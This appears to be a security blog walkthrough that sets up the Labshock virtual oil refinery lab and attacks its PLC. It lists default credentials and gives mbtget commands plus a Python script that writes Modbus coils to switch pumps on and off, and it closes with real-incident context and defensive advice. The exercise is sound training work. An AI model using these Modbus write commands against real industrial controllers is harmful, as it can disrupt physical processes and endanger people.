This blog post provides a step-by-step guide for setting up a virtual oil processing plant using https://labshock.github.io/. We will then demonstrate how to simulate a cyberattack by writing a custom python script. This exercise is designed for security professionals, engineers, and researchers interested in OT/ICS security.
Labshock is a practical operational technology (OT) and industrial control systems (ICS) cybersecurity lab environment. It provides the opportunity to analyze industrial protocols, simulate cyber attacks, and test defensive strategies within a secure, virtualized setting. This environment mimics an industrial network, encompassing various devices that together manage the operations of an oil refinery.
There are not many “ready built” environments like this available for free, so a big thanks to Zakhar from Labshock for providing such a valuable resource. We need resources like Labshock to train and educate people in the field of ICS/OT, as they offer a hands-on approach to understanding and managing cybersecurity in industrial settings.
The primary focus will be on attacking the Programmable Logic Controller (PLC), which is responsible for managing and controlling process data, and the Supervisory Control and Data Acquisition (SCADA) system, which presents this data in real time. By modifying the data within the PLC, it is possible to affect the operational processes of the refinery.
First, spin up a fresh (Ubuntu) Virtual Machine. This guide on installing Ubuntu in VMware can help: https://medium.com/@florenceify74/how-to-download-install-and-run-ubuntu-in-vmware-workstation-ce5f2d4d0438. Of course, you are free to choose your own VM.
Backups, Backups, and More Backups!
Before moving further, create snapshots. One after the fresh Ubuntu install, another after Labshock is successfully running. It saves you hours if something breaks (and it will at one point).
Follow the official https://github.com/zakharb/labshock/wiki/Quickstart-Guide guide to install Labshock on your host.
Below you will find all the code or scripts that I used to setup Labshock:
#!/bin/bash
set -e
# Uninstall old Docker versions
for pkg in docker.io docker-doc docker-compose docker-compose-v2 podman-docker containerd runc; do
sudo apt-get remove -y $pkg || true
done
# Prepare system for Docker repository
sudo apt-get update
sudo apt-get install -y ca-certificates curl gnupg lsb-release
# Add Docker's official GPG key
sudo install -m 0755 -d /etc/apt/keyrings
curl -fsSL https://download.docker.com/linux/$(. /etc/os-release && echo "$ID")/gpg | sudo tee /etc/apt/keyrings/docker.asc > /dev/null
sudo chmod a+r /etc/apt/keyrings/docker.asc
# Add Docker repository
echo \
"deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/$(. /etc/os-release && echo "$ID") \
$(. /etc/os-release && echo "$VERSION_CODENAME") stable" | \
sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
# Update and install Docker
sudo apt-get update
sudo apt-get install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin docker-compose
# To run Docker without root privileges
sudo groupadd docker
sudo usermod -aG docker $USER
newgrp docker
echo "✅ Docker installation completed."
docker --version
Bash
# Clone repo
git clone https://github.com/zakharb/labshock.git
cd labshock/labshock
# Build Labshock
sudo docker compose build
ShellSession
You should see:
#!/bin/bash
set -e
echo "🚀 Starting Labshock..."
# Change to script directory
cd "$(dirname "$0")"
# Pull the latest images without rebuilding (skip build if images are already available)
echo "🔄 Pulling Labshock images..."
sudo docker compose pull
# Run Labshock containers (no rebuild, just start)
echo "🚀 Running Labshock containers..."
sudo docker compose up -d
echo "✅ Labshock is now running with Docker Compose v2!"
Bash
You should see this in your terminal:
Once the containers are running (verify with docker ps), open your web browser within the virtual machine and go to http://localhost
. To ensure everything is functioning correctly, click on the cards to access the individual services. Now, your homelab should be up and running.
Now we move into the fun part, penetration testing the virtual oil plant. The basic steps are:
The better you understand your target and gather information about it, the greater the potential for achieving success. This is a fundamental principle of Open Source Intelligence (OSINT), which involves collecting and analyzing publicly available information to gain insights into a target.
Start by examining the Labshock GitHub repo: https://github.com/zakharb/labshock . It provides an architectural overview, including where each service runs.
We can also find ports for the services and credentials: (https://github.com/zakharb/labshock?tab=readme-ov-file#yellow_square-services).
PORTAL # Web # https://localhost
PLC # OpenPLC # http://localhost:8080
SCADA # FUXA # http://localhost:1881, pwd: openplc/openplc
EWS # Kali Linux # http://localhost:5911/vnc.html, pwd: engineer
PENTEST # Pentest Fury # http://localhost:3443
IDS # Network Swiftness # http://localhost:1443
COLLECTOR # Tidal Collector # http://localhost:2443
And more...
Markdown
I do need to highlight that using default passwords is not industry best practice. For example, to login into the PLC at http://localhost:8080 you use openplc:openplc. An attacker could easily guess this default username & password. Of course this is only a simulation. Luckily this only happens in virtual environments right?
Time to move deeper into the refinery. Now that we know our target better by looking at the blueprints, we want to study it more in detail. How can we wreak havoc? Turning off the pump seems like a sensible target. To do that we need to change the values on the plc. We can then look at the SCADA for the results of our attack.
PLC – Acts as the database. All inputs and outputs run through it. It communicates data of the oil process over Modbus TCP on port 502 and serves a web service on port 8080. You can see the live values of the oil process under Monitoring. For example, you see that pump1_start is mapped to %QX0.0 and is currently TRUE.
SCADA (FUXA) – The HMI (Human-Machine Interface) on port 1881 that visualizes real-time data from the PLC. If you alter the PLC values, they will be reflected here. You can for example see Pump1 on the SCADA which we also saw on the PLC. If you change coil %QX0.0 to False, the pump will turn off.
To find the IP of the devices we want to hack, namely the PLC, we can run:
Sudo docker ps -q | sudo xargs -n1 docker inspect --format '{{.Name}} => {{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}'
ShellSession
You should see this in your terminal:
To verify that we now can access port 502 on 192.169.2.10 (labshock-plc-1) you can use https://nmap.org/zenmap/ or any other scanning tool. We can use https://github.com/sourceperl/mbtget to read the data of the modbus server. First, we should try to get more familiar with Modbus:
Modbus (or MODBUS) is a client/server data communications protocol that operates within the application layer. Initially developed for use with programmable logic controllers (PLCs), Modbus has evolved into a de facto standard for communication among industrial electronic devices across various buses and networks. More information can be found on https://en.wikipedia.org/wiki/Modbus.
Coils are digital switches in Modbus systems, controlling devices like pumps and lights. Each coil is a single-bit value, either 0 (off) or 1 (on). You can read and change their state to manage device operations.
Registers are storage locations for numerical data, such as sensor readings or settings. They come in two main types:
Registers can hold more data than coils, typically in sizes of 16, 32, or 64 bits, accommodating larger numbers.
In summary, coils act as simple switches, while registers store data. Digital refers to direct connections, while slave indicates networked components within a Modbus system.
The following table from https://autonomylogic.com/docs/2-5-modbus-addressing/ shows (some) Modbus address space for the OpenPLC Linux/Windows runtime
Modbus Data Type | Usage | PLC Address | Modbus Data Address | Data Size | Range | Access |
Discrete Output Coils | Digital Outputs | %QX0.0 – %QX99.7 | 0 – 799 | 1 bit | 0 or 1 | RW |
Discrete Input Contacts | Digital Inputs | %IX0.0 – %IX99.7 | 0 – 799 | 1 bit | 0 or 1 | R |
Analog Input Registers | Analog Input (including slave) | %IW0 – %IW1023 | 0 – 1023 | 16 bits | 0 – 65535 | R |
Holding Registers | Analog Outputs (including slave) | %QW0 – %QW1023 | 0 – 1023 | 16 bits | 0 – 65535 | RW |
Verify with the below commands if you can interact with the coils and regisers:
mbtget -r1 -a 0 192.168.2.10 # %QX0.0 => pump1_start
mbtget -r2 -a 0 192.168.2.10 # %IX0.0 => pump1_work
mbtget -r1 -a 8 192.168.2.10 # %QX1.0 => pump2_start
mbtget -r2 -a 8 192.168.2.10 # %IX1.0 => pump2_work
ShellSession
⚠️ %QX1.0 maps to coil 8, assuming 8 bits per byte.
With read access confirmed, the next step is to attempt writing data to the PLC to control the pumps. This involves sending Modbus commands to manipulate the pump operations directly. The Python script below uses the mbtget
tool to send commands to the PLC, allowing you to turn the pumps on or off. Here’s how it works:
import os
import socket
import sys
PLC_HOST = "192.168.2.10"
PLC_PORT = 502
def check_plc_connection(host, port, timeout=3):
try:
with socket.create_connection((host, port), timeout=timeout):
return True
except OSError:
return False
def turn_on_pumps():
os.system(f"mbtget -w5 1 -a 0 {PLC_HOST}")
os.system(f"mbtget -w5 1 -a 8 {PLC_HOST}")
print("✅ Pumps are now ON.")
def turn_off_pumps():
os.system(f"mbtget -w5 0 -a 0 {PLC_HOST}")
os.system(f"mbtget -w5 0 -a 8 {PLC_HOST}")
print("✅ Pumps are now OFF.")
def main():
print(f"🛠️ Checking connection to PLC at {PLC_HOST}:{PLC_PORT}...")
if not check_plc_connection(PLC_HOST, PLC_PORT):
print("❌ Cannot connect to PLC.")
sys.exit(1)
while True:
print("\nSelect an option:")
print("1: Turn ON pumps")
print("2: Turn OFF pumps")
print("3: Exit")
choice = input("> ")
if choice == "1":
turn_on_pumps()
elif choice == "2":
turn_off_pumps()
elif choice == "3":
print("Exiting.")
break
else:
print("Invalid choice.")
# start of the script
if __name__ == "__main__":
main()
Python
mbtget -w5 1 -a 0 {PLC_HOST}
1
typically represents the “on” state, activating the device associated with the coil. 0 would mean “off”.Let’s try and run this script. Looking at your HMI you should see the pumps turn on or off!
Voila, oil pumps hacked! You can try to change the other coils & registers as well. Notice that you can not write to some of them? This is because of the input/holding registers!
In a real life example, adversaries reportedly used FrostyGoop (ICS Modbus malware) in a cyber-attack against a Ukrainian municipal district energy company, resulting in a two-day heating system service disruption to over 600 apartment buildings in Ukraine.
Adversaries injected unauthorized ModbusTCP commands in the victim networks, targeting ENCO controllers used for heating controls. This caused system malfunctions and inaccurate heating system measurements, leading to a loss of heat for civilians during sub-zero temperatures in January 2024. The recovery and restoration took approximately two days. https://www.sans.org/blog/whats-the-scoop-on-frostygoop-the-latest-ics-malware-and-ics-controls-considerations
In this walkthrough, we:
This exercise underscores the need to identify vulnerabilities in security strategies and to practice offensive techniques to strengthen security measures.
The absence of authentication in the Modbus protocol can result in unauthorized commands being executed. By pinpointing and rectifying these weaknesses, organizations can more effectively safeguard their operations against potential cyber threats. Additionally, without SOC monitoring, there is a lack of visibility into ongoing attacks, which means that threats can go unnoticed and unaddressed. Implementing SOC monitoring enables organizations to detect and respond to attacks in real-time, further enhancing their security posture.
Reflect on your own security practices: Would your organization be able to prevent or detect this kind of attack? We encourage you to share your insights and experiences in the comments below.
Stay tuned for the next part of this series, where we will explore defensive strategies and delve into the blue team’s perspective.
Nick is a seasoned blue team expert. In his free time he likes to make and break things. If he is not doing that you might find him reading a book about history or geopolitics.